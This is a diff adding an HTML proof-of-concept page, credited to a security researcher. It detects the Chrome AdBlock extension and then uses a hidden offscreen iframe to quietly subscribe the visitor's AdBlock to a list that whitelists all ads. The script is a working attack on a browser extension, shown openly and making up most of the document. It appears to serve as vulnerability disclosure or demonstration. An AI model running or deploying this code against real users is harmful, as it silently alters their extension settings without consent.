1
+ < html >
2
+ < head >
3
+ < script >
4
+ var addon_id = 'gighmmpiobklfepjocnamgkkbiglidom' ;
5
+
6
+ var detect = function ( base , if_installed , if_not_installed ) {
7
+ var s = document . createElement ( 'script' ) ;
8
+ s . onerror = if_not_installed ;
9
+ s . onload = if_installed ;
10
+ document . head . appendChild ( s ) ;
11
+ s . src = base + '/manifest.json' ;
12
+ }
13
+
14
+ function pwnAdblock ( ) {
15
+ // quietly subscribe to my list whitelisting everything
16
+ document . getElementById ( 'abp' ) . src = 'chrome-extension://' + addon_id + '/pages/subscribe.html?location=' + location . href . replace ( 'disable.html' , 'list.txt' ) ;
17
+ setTimeout ( function ( ) { document . getElementById ( 'complete' ) . style . display = 'block' } , 2000 ) ;
18
+ }
19
+
20
+ document . addEventListener ( "DOMContentLoaded" , function ( ) {
21
+ detect ( 'chrome-extension://' + addon_id , function ( ) {
22
+ pwnAdblock ( ) ;
23
+ } , function ( ) { alert ( 'sorry, no AdBlock chrome addon is installed.' ) ; } ) ;
24
+
25
+ } , false ) ;
26
+
27
+ </ script >
28
+ </ head >
29
+ < body >
30
+ < h1 > Chrome Ad(block)^2</ h1 >
31
+ < p > By < a rel =me href ="http://blog.kotowicz.net "> Krzysztof Kotowicz</ a >
32
+ < p > This page will quietly subscribe your AdBlock to a list whitelisting all adds on all domains
33
+ < p > See also: < a href ="bypass.html "> Chrome AdBlock bypass</ a >
34
+ < iframe style ="position:absolute;left:-1000px; " id ="abp " src =""> </ iframe >
35
+ < p id =complete style =display:none >
36
+ Adblock detected & disabled.
37
+ < br />
38
+ < a href ="http://imageshack.us/f/69/welcometotheworldoftomo.jpg/ "> See for yourself!</ a >
39
+ </ p >
40
+ </ body >
41
+ </ html >
0 commit comments